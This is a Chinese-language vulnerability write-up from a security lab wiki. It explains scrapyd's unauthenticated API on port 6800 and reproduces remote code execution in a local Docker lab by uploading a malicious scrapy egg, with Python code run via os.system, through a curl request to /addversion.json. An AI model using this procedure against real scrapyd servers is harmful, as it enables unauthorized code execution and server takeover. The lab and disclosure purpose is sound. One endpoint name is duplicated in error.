scrapyd未授权访问漏洞–小白-漏洞文库小世界-安全文库-NGC660安全实验室

scrapyd未授权访问漏洞–小白

1.简介

scrapyd是爬虫框架scrapy提供的云服务,用户可以部署自己的scrapy包到云服务,默认监听在6800端口。如果攻击者能访问该端口,将可以部署恶意代码到服务器,进而获取服务器权限。

2.环境搭建

通过docker进行环境搭建
1647825075848-050ba704-02bc-438e-9c0d-5919a02f31b5

1647825075965-c1e3e556-ec83-4e64-b0c5-180e960f4472

3.漏洞利用

首先,需要明确的是攻击流程:
用户输入的URL被交给部署在scrapyd上的爬虫进行爬取,爬虫调用了Chrome渲染页面,并将结果中的链接返回给用户。
那么,这里重点就是scrapyd了。通过文档可知,scrapy是一个爬虫框架,而scrapyd是一个云服务,用户可以将自己用scrapy框架开发的爬虫上传到云端,然后通过Web API调用这个爬虫爬取信息。
scrapyd主要提供以下一些API:

  • /daemonstatus.json 获取云服务的状态
  • /addversion.json 上传一个新的爬虫项目,或者给一个已有的项目更新代码
  • /schedule.json 执行一个爬取任务
  • /cancel.json 停止并取消一个任务
  • /listprojects.json 列出云端的所有项目
  • /listversions.json 列出某个项目的所有代码版本
  • /listspiders.json 列出一个项目下所有spider,spider这个概念是scrapy框架中的,一个scrapy开发的爬虫可以有多个spider
  • /listjobs.json 列出所有任务,包括正在进行的、已完成的、等待执行的三个状态
  • /delversion.json 删除某个项目下的某个代码版本
  • /delversion.json 删除某个项目

简单来说,scrapyd云服务下可以有多个项目,每个项目下可以有多个代码版本,每个代码版本就是一个完整的scrapy项目,一个scrapy项目下可以有多个spider,最终执行的任务的载体是一个spider。
那么,也就是说,攻击者可以创建一个项目,并部署他自己的scrapy代码版本,将恶意代码部署到云端,进而对scrapyd云端进行攻击。
复现:
由图中可知,此时项目为空
1647825076073-33387b30-7c1a-4fb8-87c0-4b0e39c89f13

然后,我们本地再安装scrapy框架,并创建一个scrapy项目:

pip install scrapy
scrapy startproject evil

生成了项目后,我们在evil/__init__.py中加入恶意代码:

import os
os.system('touch success')

然后,我们用scrapyd-client这个工具,将项目打包成egg包。当然也可以自己用setuptools手工打包。

pip install scrapyd-client
scrapyd-deploy --build-egg=evil.egg

1647825076176-e4545451-0134-4260-8da5-1ccc15d79708

此时,恶意的egg包已经生成,然后我们将其部署到云端:

curl http://localhost:6800/addversion.json -F project=evil -F version=r01 -F egg=@evil.egg

成功部署:
1647825076259-94def43c-c2a9-426f-987b-6ddcb3a1a468

进入容器查看:
1647825076354-301629ed-04ae-46d6-85e1-8e241d7223e4

发现已经成功部署,此时,touch success已成功执行

请登录后发表评论

    请登录后查看回复内容